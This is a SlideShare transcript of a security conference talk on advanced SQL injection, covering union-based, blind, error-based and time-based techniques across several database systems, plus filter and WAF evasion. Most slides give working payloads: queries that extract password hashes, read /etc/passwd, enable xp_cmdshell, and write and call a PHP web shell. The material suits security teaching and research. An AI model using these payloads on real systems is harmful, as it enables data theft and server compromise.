Advanced Sql Injection ENG

7,155 views

Published on

Published in: Technology
1 Comment
9 Likes
Statistics
Notes
No Downloads
Views
Total views
7,155
On SlideShare
0
From Embeds
0
Number of Embeds
6
Actions
Shares
0
Downloads
691
Comments
1
Likes
9
Embeds 0
No embeds

No notes for slide

Advanced Sql Injection ENG

  1. 1. Advanced SQL Injection Dmitry Evteev ( Positive Technologies) Web Application Security Consortium (WASC) Contributor
  2. 2. Subjects in Question <ul><li>Introduction to web application security </li></ul><ul><li>Classical approach to SQL Injection exploitation </li></ul><ul><li>Blind SQL Injection </li></ul><ul><li>Working with file system and executing commands on server under SQL Injection exploitation </li></ul><ul><li>Methods to bypass program security filters </li></ul><ul><li>Methods to bypass a Web Application Firewall (WAF) </li></ul><ul><li>Conclusions </li></ul>
  3. 3. Introduction to Web Application Security
  4. 4. Unsafe World of Web Applications <ul><li>According to the statistics collected by Positive Technologies in 2008, </li></ul><ul><ul><li>83% of sites contain critical vulnerabilities </li></ul></ul><ul><ul><li>78% of sites contain vulnerabilities of moderate risk level </li></ul></ul><ul><ul><li>the probability to infect the pages of a vulnerable web application with malicious code automatically is about 15-20% </li></ul></ul><ul><ul><li>http://ptsecurity.ru/analytics.asp </li></ul></ul>The data is based on automatic scanning of 16121 systems, detailed analysis of 59 web applications including analysis of the source code of over 10 applications .
  5. 5. Unsafe World of Web Applications: Statistics 2008
  6. 6. Chapter 1 : SQL Injection Vulnerability <ul><ul><li>Classical Approach to SQL Injection Exploitation </li></ul></ul>
  7. 7. Illustrative Example of SQL Injection Web Server DBMS http://web/? id=6329&print=Y … . SELECT * from news where id = 6329 … .
  8. 8. Illustrative Example of SQL Injection Web Server DBMS http://web/? id=6329+union+select+id,pwd,0+from... … . SELECT * from news where id = 6329 union select id,pwd,0 from… … .
  9. 9. SQL Injection – Basic Concepts <ul><li>SQL Injection </li></ul><ul><ul><li>A method to attack a database bypassing firewalls. In this method, parameters transmitted to the database via web applications are modified so that the executable SQL request changes . </li></ul></ul><ul><li>There are two types of SQL Injection </li></ul><ul><ul><li>SQL Injection into a string parameter Examples: </li></ul></ul><ul><ul><ul><li>SELECT * from table where name = &quot; $_GET['name'] &quot; </li></ul></ul></ul><ul><ul><ul><li>SELECT id, acl from table where user_agent = ' $_SERVER[&quot;HTTP_USER_AGENT&quot;] ' </li></ul></ul></ul><ul><ul><li>SQL Injection into a numeric parameter Examples: </li></ul></ul><ul><ul><ul><li>SELECT login, name from table where id = $_COOKIE[&quot;id&quot;] </li></ul></ul></ul><ul><ul><ul><li>SELECT id, news from table where news = 123 limit $_POST[&quot;limit&quot;] </li></ul></ul></ul>
  10. 10. SQL Injection – Basic Concepts <ul><li>Methods of SQL Injection exploitation are classified according to the DBMS type and exploitation conditions </li></ul><ul><ul><li>Vulnerable request can implement Insert, Update, Delete </li></ul></ul><ul><ul><li>It is possible to inject SQL code into any part of SQL request </li></ul></ul><ul><ul><li>Blind SQL Injection </li></ul></ul><ul><ul><li>Features of SQL implementations used in various DBMSs </li></ul></ul><ul><li>SQL Injection vulnerability is characteristic not only for web applications ! </li></ul>
  11. 11. SQL Injection – Basic Concepts <ul><li>SQL Injection classification </li></ul><ul><li>SQL Injection can be exploited both during the attack conduction or after a while </li></ul>
  12. 12. SQL Injection – Basic Concepts <ul><li>Methods to detect SQL Injection </li></ul><ul><ul><li>Function testing ( black/white-box) </li></ul></ul><ul><ul><li>Fuzzing </li></ul></ul><ul><ul><li>Static / dynamic/manual analysis of the source code </li></ul></ul><ul><li>Examples of function testing for http://site/?param=123 </li></ul><ul><li>http://site/?param=1 ' http://site/?param=1 '# </li></ul><ul><li>http://site/?param=1 &quot; … </li></ul><ul><li>http://site/?param=1 order by 1000 http://site/?param=1 AND 1=1 -- </li></ul><ul><li>http://site/?param=1 '-- http://site/?param=1 AND 1=2-- </li></ul><ul><li>... … </li></ul><ul><li>http://site/?param=1 '/* http://site/?param=1 ' AND '1'='1 </li></ul><ul><li>... etc. </li></ul>
  13. 13. SQL Injectio n – Classical Exploitation ( MySQL ) <ul><li>Vulnerability detection /?id=1 + ORDER+BY+100 </li></ul><ul><ul><li>SQL request looks like </li></ul></ul><ul><ul><li>SELECT id, name from table where id =1 ORDER BY 100 </li></ul></ul><ul><ul><li>As a result, the following error message can be received </li></ul></ul><ul><ul><li>ERROR 1054 (42S22): Unknown column '100' in 'order clause' </li></ul></ul><ul><li>Obtaining table/column names ( information_schema/ search ) and further obtaining data from the discovered tables </li></ul><ul><li>/?id=1+ union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns </li></ul><ul><ul><li>SQL request becomes </li></ul></ul><ul><ul><li>SELECT id, name from table where id =1 union select 0,concat_ws(0x3a,table_name,column_name) from information_schema.columns </li></ul></ul><ul><ul><li>As a result, the desired information can be received in the following form </li></ul></ul><ul><ul><li>| 0 | table1:column1 | </li></ul></ul><ul><ul><li>| 0 | table1:column2 | </li></ul></ul>
  14. 14. SQL Injectio n – Features of Different DBMSs <ul><li>Features of exploitation for different DBMS Example ( MySQL ) : SELECT * from table where id = 1 union select 1,2,3 Example (PostgreSQL): SELECT * from table where id = 1 ; select 1,2,3 Example ( Oracle ) : SELECT * from table where id = 1 union select null,null,null from sys.dual </li></ul>MySQL MSSQL MS Access Oracle DB2 PostgreSQL String concatenation concat(,) concat_ws(delim,) ' '+' ' &quot; &quot;&&quot; &quot; ' '||' ' '' concat '' &quot; &quot;+&quot; &quot; ' '||' ' ' '||' ' Comments -- and /* * / and # -- and /* No -- and /* -- -- and /* Request union union union and ; union union union union and ; Sub-requests v .4.1 >= Yes No Yes Yes Yes Stored procedures No Yes No Yes No Yes Availability of information_schema or its analogs v .5.0 >= Yes Yes Yes Yes Yes
  15. 15. SQL Injectio n – Exploitation for Different DBMSs <ul><li>MySQL 4.1>= </li></ul><ul><ul><li>First entry </li></ul></ul><ul><ul><li>/?id=1 union select name,123 from users limit 0,1 </li></ul></ul><ul><ul><li>Second entry </li></ul></ul><ul><ul><li>/?id=1 union select name,123 from users limit 1,1 </li></ul></ul><ul><li>MSSQL </li></ul><ul><ul><li>First entry </li></ul></ul><ul><ul><li>/?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=1 </li></ul></ul><ul><ul><li>Second entry </li></ul></ul><ul><ul><li>/?id=1 union select table_name,123 from (select row_number() over (order by name) as rownum, name from users) as t where t.rownum=2 </li></ul></ul><ul><li>PostgreSQL </li></ul><ul><ul><li>First entry </li></ul></ul><ul><ul><li>/?id=1 union select name, null from users limit 1 offset 0 </li></ul></ul><ul><ul><li>Second entry </li></ul></ul><ul><ul><li>/?id=1 union select name, null from users limit 1 offset 1 </li></ul></ul><ul><ul><li>or </li></ul></ul><ul><ul><li>First entry </li></ul></ul><ul><ul><li>/?id=1 ; select name, 123 from users limit 1 offset 0 </li></ul></ul><ul><ul><li>Second entry </li></ul></ul><ul><ul><li>/?id=1 ; select name, 123 from users limit 1 offset 1 </li></ul></ul>
  16. 16. Chapter 2 : Blind SQL Injection <ul><ul><li>Blind SQL Injection </li></ul></ul>
  17. 17. Blind SQL Injection – Basic Concepts <ul><li>Blind SQL Injection </li></ul><ul><ul><li>A method to attack a database bypassing firewalls. In the course of exploitation of an SQL Injection vulnerability, the attacker analyses the application logic (true/false) . </li></ul></ul><ul><li>Blind SQL Injections can be classified according to the following criteria </li></ul>
  18. 18. Blind SQL Injection – Basic Concepts <ul><li>Methods to detect B lind SQL Injection </li></ul><ul><li>http://site/?param= -1 OR 1=1 </li></ul><ul><li>http://site/?param= -1 OR 1=1-- </li></ul><ul><li>... </li></ul><ul><li>http://site/?param= -1' </li></ul><ul><li>http://site/?param= -1' AND 1=2 </li></ul><ul><li>... </li></ul><ul><li>http://site/?param= -1' OR '1'='1 </li></ul><ul><li>... </li></ul><ul><li>http://site/?param= -1&quot;/* </li></ul><ul><li>... </li></ul><ul><li>http://site/?param= 2 </li></ul><ul><li>http://site/?param= 1 </li></ul><ul><li>http://site/?param= 2-1 </li></ul><ul><li>... </li></ul><ul><li>http://site/?param= 1' AND 1=1 </li></ul><ul><li>http://site/?param= 1' AND '1'='1 </li></ul><ul><li>… </li></ul><ul><li>etc. </li></ul><ul><li>Methods to detect Double B lind SQL Injection </li></ul><ul><li>http://site/?param= -1 AND benchmark(2000,md5(now())) </li></ul><ul><li>... </li></ul><ul><li>http://site/?param= -1' AND benchmark(2000,md5(now()))-- </li></ul><ul><li>... </li></ul><ul><li>etc. </li></ul>
  19. 19. Blind SQL Injectio n – Classical Exploitation ( MySQL ) <ul><li>Searching for the first character of the first table entry </li></ul><ul><li>/?id=1+ AND+ 555 =if(ord(mid(( select+pass+from+users+limit+0,1 ),1,1))= 97 , 555 , 777 ) </li></ul><ul><ul><li>SQL request becomes </li></ul></ul><ul><ul><li>SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1),1,1))=97,555,777) </li></ul></ul><ul><ul><li>If the table “users” contains a column “pass” and the first character of the first entry in this column is 97 ( letter “a” ) , then DBMS will return TRUE; otherwise, FALSE . </li></ul></ul><ul><li>Searching for the second character of the first table entry </li></ul><ul><li>/?id=1+ AND+555=if(ord(mid((select+pass+from+users+limit+0,1), 2 ,1))=97,555,777) </li></ul><ul><ul><li>SQL request becomes </li></ul></ul><ul><ul><li>SELECT id, name from table where id =1 AND 555=if(ord(mid((select pass from users limit 0,1), 2 ,1))=97,555,777) </li></ul></ul><ul><ul><li>If the table “users” contains a column “pass” and the second character of the first entry in this column is 97 ( letter « a ») , then DBMS will return TRUE; otherwise, FALSE. </li></ul></ul>
  20. 20. Blind SQL Injectio n – Classical Exploitation ( MySQL ) Let’s go faster … <ul><li>We can restrict the range of character search. For example, for MD5 it is [0-9a-f], or 48-57, 97-102 . Moreover, we can use the inequality signs ! </li></ul><ul><li>Searching for the first character of the first table entry </li></ul><ul><li>/?id=1+ AND+555=if(ord( lower ( mid((select+pass+from+users+limit+0,1),1,1) ) ) > 97,555,777) </li></ul><ul><ul><li>If the table “ users” contains a column “ pass” and the first character of the first entry in this column is greater than 97 ( letter “a” ) , then DBMS will return TRUE; otherwise, FALSE. </li></ul></ul><ul><li>Searching for the first character of the second table entry </li></ul><ul><li>/?id=1+ AND+555=if(ord(lower ( mid((select+pass+from+users+limit+ 1 ,1),1,1) ) )< 1 02,555,777) </li></ul><ul><ul><li>If the table “ users” contains a column “ pass” and the first character of the second entry in this column is lower than 1 0 2 ( letter “f” ) , then DBMS will return TRUE; otherwise, FALSE. </li></ul></ul><ul><li>A more rational approach </li></ul><ul><li>/?id=1+ AND+555=if(ord(lower ( mid((select+pass+from+users+limit+ 0 ,1),1,1) ) )< 1 0 0 ,555,777) </li></ul><ul><ul><li>If the character being searched is lower than 1 00 ( letter « d »), consequently, the character either represents letter “d” or belongs to the range [a-c]. </li></ul></ul>
  21. 21. Blind SQL Injectio n – New Methods of Exploitation ( MySQL ) … and even faster … <ul><li>It is possible to find up to 1 2 characters using one request ( method by Qwazar X07’09 ) </li></ul><ul><li>Searching for the first character of the first table entry </li></ul><ul><li>/?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in(' 0 '))>0, </li></ul><ul><li>( 0x787B312C3235367D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 1 '))>0, </li></ul><ul><li>( 0x787B312C28 ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 2 '))>0, </li></ul><ul><li>( 0x5B5B3A5D5D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 3 '))>0, </li></ul><ul><li>( 0x5B5B ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 4 '))>0, </li></ul><ul><li>( 0x28287B317D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 5 '))>0, </li></ul><ul><li>( 0x0 ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 6 '))>0, </li></ul><ul><li>( 0x28 ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 7 '))>0, </li></ul><ul><li>( 0x5B322D315D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 8 '))>0, </li></ul><ul><li>( 0x5B5B2E63682E5D5D ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' 9 '))>0, </li></ul><ul><li>( 0x5C ),if((mid((select+pass+from+users+limit+0,1),1,1)in(' a '))>0, </li></ul><ul><li>( select 1 union select 2 ),( 1 ))))))))))))) </li></ul><ul><ul><li>If the table “users” contains a column “pass” and the first character of the first entry in this column belongs to the range [0-9a] , then DBMS will return an error message. Otherwise, it will return 1, i.e. the request will be correct. </li></ul></ul>
  22. 22. Blind SQL Injectio n – New Methods of Exploitation ( MySQL ) … at the same rate … <ul><li>How does it work? </li></ul><ul><li>MySQL returns unique error messages using illegal regexps: </li></ul><ul><ul><li>select 1 regexp if(1=1,&quot;x{1,0}&quot;,2) </li></ul></ul><ul><ul><li>#1139 - Got error 'invalid repetition count(s)' from regexp </li></ul></ul><ul><ul><li>select 1 regexp if(1=1,&quot;x{1,(&quot;,2) </li></ul></ul><ul><ul><li>#1139 - Got error 'braces not balanced' from regexp </li></ul></ul><ul><ul><li>etc. </li></ul></ul><ul><li>An error message is also displayed if two entries are unexpectedly returned instead of one ( method by Elekt ) : </li></ul><ul><ul><li>select if(1=1,(select 1 union select 2),2) </li></ul></ul><ul><ul><li>#1242 - Subquery returns more than 1 row </li></ul></ul>Note: in the example, hexadecimal equivalents were used, e.g. 0 x787B312C307D instead x{1,0}
  23. 23. Blind SQL Injectio n – New Methods of Exploitation ( MySQL ) … at the same rate … <ul><li>If it is necessary to find an MD5 hash, only two requests are required. </li></ul><ul><li>Request 1 </li></ul><ul><li>/?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in('0'))>0,(0x787B312C3235367D),if((mid((select+pass+from+users+limit+0,1),1,1)in('1'))>0,(0x787B312C28),if((mid((select+pass+from+users+limit+0,1),1,1)in('2'))>0,(0x5B5B3A5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('3'))>0,(0x5B5B),if((mid((select+pass+from+users+limit+0,1),1,1)in('4'))>0,(0x28287B317D),if((mid((select+pass+from+users+limit+0,1),1,1)in('5'))>0,(0x0),if((mid((select+pass+from+users+limit+0,1),1,1)in('6'))>0,(0x28),if((mid((select+pass+from+users+limit+0,1),1,1)in('7'))>0,(0x5B322D315D),if((mid((select+pass+from+users+limit+0,1),1,1)in('8'))>0,(0x5B5B2E63682E5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('9'))>0,(0x5C),if((mid((select+pass+from+users+limit+0,1),1,1)in('a'))>0,(select 1 union select 2),(1))))))))))))) </li></ul><ul><li>If the character does not belong to the range [0-9a], then the second request is sent ( checking [b-f] ) </li></ul><ul><li>/?id=1+AND+1+rlike+concat(if((mid((select+pass+from+users+limit+0,1),1,1)in('0'))>0,(0x787B312C3235367D),if((mid((select+pass+from+users+limit+0,1),1,1)in('1'))>0,(0x787B312C28),if((mid((select+pass+from+users+limit+0,1),1,1)in('2'))>0,(0x5B5B3A5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('3'))>0,(0x5B5B),if((mid((select+pass+from+users+limit+0,1),1,1)in('4'))>0,(0x28287B317D),if((mid((select+pass+from+users+limit+0,1),1,1)in('5'))>0,(0x0),if((mid((select+pass+from+users+limit+0,1),1,1)in('6'))>0,(0x28),if((mid((select+pass+from+users+limit+0,1),1,1)in('7'))>0,(0x5B322D315D),if((mid((select+pass+from+users+limit+0,1),1,1)in('8'))>0,(0x5B5B2E63682E5D5D),if((mid((select+pass+from+users+limit+0,1),1,1)in('9'))>0,(0x5C),if((mid((select+pass+from+users+limit+0,1),1,1)in('a'))>0,(select 1 union select 2),(1))))))))))))) </li></ul>
  24. 24. Blind SQL Injectio n – New Methods of Exploitation ( MySQL ) … at the maximal rate ! <ul><li>A new method using function ExtractValue() based on experiments with function NAME_CONST () MySQL v. 5.0.12 > v.5.0.64 (X09’09) conducted by Qwazar : select 1 AND ExtractValue(1,concat(0x5C,(' test '))); </li></ul><ul><ul><li>As a result, the following error message can be received (if MySQL version is >=5.1) </li></ul></ul><ul><ul><li>XPATH syntax error: ' test ' </li></ul></ul><ul><li>Thus, we can simply return the desired data: </li></ul><ul><li>/?id=1+ AND+extractvalue(1,concat(0x5C,(select pass from users limit 0,1))) </li></ul><ul><ul><li>SQL request becomes </li></ul></ul><ul><ul><li>SELECT id, name from table where id =1 AND extractvalue(1,concat(0x5C,(select pass from users limit 0,1))) </li></ul></ul><ul><ul><li>As a result, the desired information can be received in the following form </li></ul></ul><ul><ul><li>The error message string cannot contain more than 31 characters . Function mid() and such-like can be applied to display longer strings. </li></ul></ul>
  25. 25. Blind SQL Injectio n – New Methods of Exploitation ( MySQL ) The Rate Limit … <ul><li>What if error messages are suppressed? </li></ul><ul><li>We can restrict the range of character search. For example, for MD5 this range is [0-9a-f]. </li></ul><ul><li>We can use news titles, site sections etc. as signatures . </li></ul><ul><li>Implementation: </li></ul><ul><li>/?id= if((mid((select pwd from users limit 0,1),1,1)in('a'))>0,( 12345 ),if((mid((select pwd from users limit 0,1),1,1)in('b'))>0,( 12346 ), …….. ,null )) </li></ul><ul><li>or </li></ul><ul><li>/?id= if((mid((select pwd from users limit 0,1),1,1)in('a','b','c','d','e','f'))>0,( 12345 ),if((mid((select pwd from users limit 0,1),1,1)in('0','1','2','3','4','5','6','7','8','9'))>0,( 12346 ), …….. ,null )) </li></ul><ul><ul><li>In this example, “ 12345 ” and “ 123456 ” represent identifiers of news on the site. </li></ul></ul><ul><ul><li>Restrictions of this method: </li></ul></ul><ul><ul><ul><li>Appropriate application architecture; </li></ul></ul></ul><ul><ul><ul><li>The length of HTTP request cannot be more than 4096 bytes. </li></ul></ul></ul>
  26. 26. Double Blind SQL Injectio n – Classical Exploitation ( MySQL ) More haste, less speed;) <ul><li>Exploitation of Double Blind SQL Injection is based on time delays. </li></ul><ul><li>We can restrict the range of character search to increase performance . </li></ul><ul><li>Classical implementation: </li></ul><ul><li>/?id=1+ AND + if((ascii(lower(substring((select password from user limit 0 ,1), 0 ,1))))= 97 ,1,benchmark( 2000000 ,md5(now()))) </li></ul><ul><ul><li>We can conjecture that the character was guessed right on the basis of the time delay of web server response; </li></ul></ul><ul><ul><li>Manipulating the value 2000000 : we can achieve acceptable performance for a concrete application; </li></ul></ul><ul><ul><li>Function sleep() represents an analogue of function benchmark () . Function sleep() is more secure in the given context, because it doesn’t use server resources. </li></ul></ul>
  27. 27. Chapter 3 : Working with File System and Executing Commands on Server <ul><ul><li>Working with File System and Executing Commands on Server Under SQL Injection Exploitation </li></ul></ul>
  28. 28. Working with File System <ul><li>General architecture of using file system via SQL Injection </li></ul><ul><li>uid=80(www) gid=80(www) </li></ul><ul><ul><li>If you access a file created by DBMS, it is necessary to keep in mind that the file owner is the user called DBMS </li></ul></ul><ul><li>uid=88(mysql) gid=88(mysql) </li></ul><ul><ul><li>Requests are received from the DBMS user ( to work with file system, privileges file_priv are required ) </li></ul></ul><ul><ul><li>File system is accessed by the DBMS user ( appropriate permissions are required at the ACL level ) </li></ul></ul><ul><ul><li>“ Current directory” represents the DBMS directory </li></ul></ul>
  29. 29. Working with File System – Difference of DBMSs <ul><ul><ul><li>An example for MSSQL: </li></ul></ul></ul><ul><ul><li>CREATE TABLE mydata (line varchar(8000)); </li></ul></ul><ul><ul><li>BULK INSERT mydata FROM 'c:oot.ini'; </li></ul></ul><ul><ul><li>SELECT * FROM mydata; </li></ul></ul><ul><ul><li>DROP TABLE mydata; </li></ul></ul>MySQL MSSQL MS Access Oracle PostgreSQL Built-in functions Yes No Yes No Yes Available functions load_file, load data infile, into otfile/dumpfile Procedures eq insert from file curdir() Procedures eq insert from file pg_read_file(), pg_ls_dir(), copy, etc.
  30. 30. Working with File System <ul><li>An example for MySQL </li></ul><ul><li>LOAD_FILE </li></ul><ul><ul><li>union select load_file('/etc/passwd') </li></ul></ul><ul><li>LOAD DATA INFILE </li></ul><ul><ul><li>create table t(a varchar(500)); </li></ul></ul><ul><ul><li>load data infile '/etc/passwd' into table t; </li></ul></ul><ul><ul><li>select a from t; </li></ul></ul><ul><li>SELECT INTO OUTFILE и SELECT INTO DUMPFILE </li></ul><ul><ul><li>union select 1 into outfile 't' </li></ul></ul><ul><ul><li>union select 1 into dumpfile 't' </li></ul></ul>
  31. 31. Executing Commands on Server – Difference of DBMSs <ul><ul><ul><li>An example for MSSQL: </li></ul></ul></ul><ul><ul><li>EXEC xp_cmdshell 'ipconfig /all'; </li></ul></ul><ul><ul><ul><li>To use xp_cmdshell in MSSQL >= 2005, it is necessary to perform the following: </li></ul></ul></ul><ul><ul><li>EXEC sp_configure 'show advanced options', 1; </li></ul></ul><ul><ul><li>RECONFIGURE; </li></ul></ul><ul><ul><li>EXEC sp_configure 'xp_cmdshell', 1; </li></ul></ul><ul><ul><li>RECONFIGURE; </li></ul></ul>MySQL MSSQL MS Access Oracle PostgreSQL Built-in functions No Yes Yes No No Available functions No EXEC shell() Own procedures Own procedures
  32. 32. Executing Commands on Server <ul><li>An example for SQL </li></ul><ul><li>Writing web-shell to the file /www/img/shell.php </li></ul><ul><ul><li>/?id=1+union+select+'<?eval($_request[shell]);?>' +into+outfile+'/www/img/shell.php' </li></ul></ul><ul><li>Executing commands on server </li></ul><ul><ul><li>/img/shell.php?shell=passthru('ls'); </li></ul></ul>
  33. 33. Chapter 4 : Methods to Bypass Security Filters <ul><ul><li>Methods to Bypass Security Filters </li></ul></ul>
  34. 34. Filters for Incoming data. Types <ul><li>Transparent for web applications </li></ul><ul><ul><li>magic_quotes_gpc , display_errors , etc. </li></ul></ul><ul><ul><li>mod_rewrite, ISAPI filters , etc. </li></ul></ul><ul><li>Built-in functions of the development language </li></ul><ul><ul><li>Universal Example: addslashes(), addcslashes(), htmlspecialchars() , etc </li></ul></ul><ul><ul><li>Meant for a certain environment Example: mysql_real_escape_string(), pg_escape_string(), dbx_escape_string(), etc </li></ul></ul><ul><li>In-house design of a programmer </li></ul><ul><ul><li>Type casting </li></ul></ul><ul><ul><li>Using regular expressions </li></ul></ul>
  35. 35. Methods to Bypass Security Filters (1) <ul><li>Apply coding to the data transmitted to the application </li></ul><ul><ul><li>There is unlimited number of forms to represent the string “qwerty” </li></ul></ul><ul><ul><ul><li>Hex coding: 0 x717765727479 </li></ul></ul></ul><ul><ul><ul><li>ASCII representation: char(113),char(119),char(101),char(114), char(116),char(121) </li></ul></ul></ul><ul><ul><ul><li>Encryption with various keys: ╧i╘═╗ Г▐╗щ~)°°Р= </li></ul></ul></ul><ul><ul><li>Example: </li></ul></ul><ul><ul><ul><li>hex(AES_ENCRYPT('qwerty',1)) is B969A9A01DA8E78FA8DD7E299C9CF23D </li></ul></ul></ul><ul><ul><ul><li>aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x9C,0x9C,0xF2,0x3D),1) is qwerty </li></ul></ul></ul>
  36. 36. Methods to Bypass Security Filters (2) <ul><li>Apply codes that are not processed by the filter </li></ul><ul><ul><li>Function synonyms </li></ul></ul><ul><ul><ul><li>CHARACTER_LENGTH() -> CHAR_LENGTH() </li></ul></ul></ul><ul><ul><ul><li>LOWER() -> LCASE() </li></ul></ul></ul><ul><ul><ul><li>OCTET_LENGTH() -> LENGTH() </li></ul></ul></ul><ul><ul><ul><li>LOCATE() -> POSITION( ) </li></ul></ul></ul><ul><ul><ul><li>REGEXP() -> RLIKE() </li></ul></ul></ul><ul><ul><ul><li>UPPER() -> UCASE() </li></ul></ul></ul><ul><ul><ul><li>etc. </li></ul></ul></ul><ul><ul><li>Obfuscated codes for requests and data </li></ul></ul><ul><ul><ul><li>Examples of obfuscated codes for the string “qwerty”: </li></ul></ul></ul><ul><ul><ul><li>reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid('TEST',2,1)),replace(0x7074,'pt','w'),char(instr(123321,33)+110))) </li></ul></ul></ul><ul><ul><ul><li>concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),char(pow(11,2))) </li></ul></ul></ul>
  37. 37. Methods to Bypass Security Filters <ul><li>An example of bypassing signatures ( obfuscated code for request ) </li></ul><ul><ul><li>The following request will correspond to the application signature </li></ul></ul><ul><ul><li>/?id=1+ union +( select +1,2+ from +test.users) </li></ul></ul><ul><ul><li>But sometimes the signatures can be bypassed </li></ul></ul><ul><ul><li>/?id=1+union+(select+'xz'from+xxx) </li></ul></ul><ul><ul><li>/?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users)) </li></ul></ul><ul><ul><li>/?id=1+union+(sELect'1',concat(login,hash)from+test.users) </li></ul></ul><ul><ul><li>/?id=(1)union(((((((select(1),hex(hash)from(test.users)))))))) </li></ul></ul><ul><ul><li>/?id=(1);exec('sel'+'ect'(1)) </li></ul></ul><ul><ul><li>/?id=(1)or(0x50=0x50) </li></ul></ul><ul><ul><li>… </li></ul></ul>
  38. 38. Methods to Bypass Security Filters (3) <ul><li>Use null-byte to bypass binary-dependent functions </li></ul><ul><li>Example: if(ereg (&quot;^(.){1,3}$&quot;, $_GET['param'])) { … } </li></ul><ul><ul><li>/?param= 123 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 123 &quot;) – true </li></ul></ul><ul><ul><li>/?param= 1234 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 1234 &quot;) – false </li></ul></ul><ul><ul><li>/?param= 1+union+select+1 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 1 union select 1 &quot;) – false </li></ul></ul><ul><ul><li>/?param= 123%00 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 123 &quot;) - true </li></ul></ul><ul><ul><li>/?param= 1/*%00*/union+select+1 </li></ul></ul><ul><ul><li>ereg (&quot;^(.){1,3}$&quot;, &quot; 1/**/union select 1 &quot;) - true </li></ul></ul>
  39. 39. Methods to Bypass Security Filters ( 4 ) <ul><li>Bypassing function addslashes() </li></ul><ul><li>It is possible if there is a vulnerability that allows attackers to set SJIS, BIG5 or GBK coding </li></ul><ul><li>How does it work? </li></ul><ul><li>addslashes(&quot; ' &quot;) т.е. 0x 27 вернет &quot; ' &quot; т.е. 0x 5c 27 </li></ul><ul><ul><li>An example for GBK coding: </li></ul></ul><ul><ul><li>0xbf 27 – illegal character </li></ul></ul><ul><ul><li>0xbf 5c – valid independent character </li></ul></ul><ul><ul><li>0xbf27 , being processed with function addslashes() , becomes 0xbf 5c 27 , i.e. 0xbf 5c and a single quote у 0x 27 </li></ul></ul>Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
  40. 40. Methods to Bypass Security Filters (5) <ul><li>A common vulnerability in the functions of security filters </li></ul><ul><ul><li>The following request doesn’t allow malicious users to conduct an attack </li></ul></ul><ul><ul><li>/?id=1+ union+select +1,2, 3 /* </li></ul></ul><ul><ul><li>If there is a corresponding vulnerability in the filter, the following request will be successfully processed </li></ul></ul><ul><ul><li>/?id=1 + un /**/ ion + sel /**/ ect+1,2,3-- </li></ul></ul><ul><ul><li>SQL request becomes </li></ul></ul><ul><ul><li>SELECT * from table where id =1 union select 1,2,3 -- </li></ul></ul><ul><li>Any set of characters that is cut by the filter (e .g. #####, %00, etc.) can be used instead of /**/ </li></ul><ul><li>The given example works in case of &quot;superfluous cleaning&quot; of incoming data ( replacing r egexp with an empty string ) </li></ul>
  41. 41. Chapter 5 : Methods to Bypass Web Application Firewall <ul><ul><li>Methods to Bypass Web Application Firewall (WAF) </li></ul></ul>
  42. 42. What is WAF http:// server /?id=6329&print=Y At attack is detected ! Alarm !!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=“><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Data normalization Decode HTML entities (e.g. c, &quot;, ª) Escaped characters (e.g. , 01, xAA, uAABB) Null byte string termination ... Signature search /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
  43. 43. Classification <ul><li>According to the behavior: </li></ul><ul><ul><li>Bridge/Router </li></ul></ul><ul><ul><li>Reverse Proxy </li></ul></ul><ul><ul><li>Built-in </li></ul></ul><ul><li>According to the protection model: </li></ul><ul><ul><li>Signature-based </li></ul></ul><ul><ul><li>Rule-based </li></ul></ul><ul><ul><li>According to the response to a “bad” request: </li></ul></ul><ul><ul><li>Cleaning of dangerous data </li></ul></ul><ul><ul><li>Blocking the request </li></ul></ul><ul><ul><li>Blocking the attack source </li></ul></ul>
  44. 44. Methods to Bypass WAF <ul><li>Fundamental technology limitations </li></ul><ul><ul><li>Inability to protect a web-application from all possible vulnerabilities </li></ul></ul><ul><li>General problems </li></ul><ul><ul><li>When using universal WAF-filters, it is necessary to balance the filter efficiency and minimization error responses, when valid traffic is blocked </li></ul></ul><ul><ul><li>Processing of the traffic returned to a client </li></ul></ul><ul><li>Implementation Vulnerabilities </li></ul><ul><ul><li>Normalization techniques </li></ul></ul><ul><ul><li>Application of new methods of web vulnerability exploitation ( HTTP Parameter Pollution , HTTP Parameter Fragmentation , null-byte replacement , etc. ) </li></ul></ul>
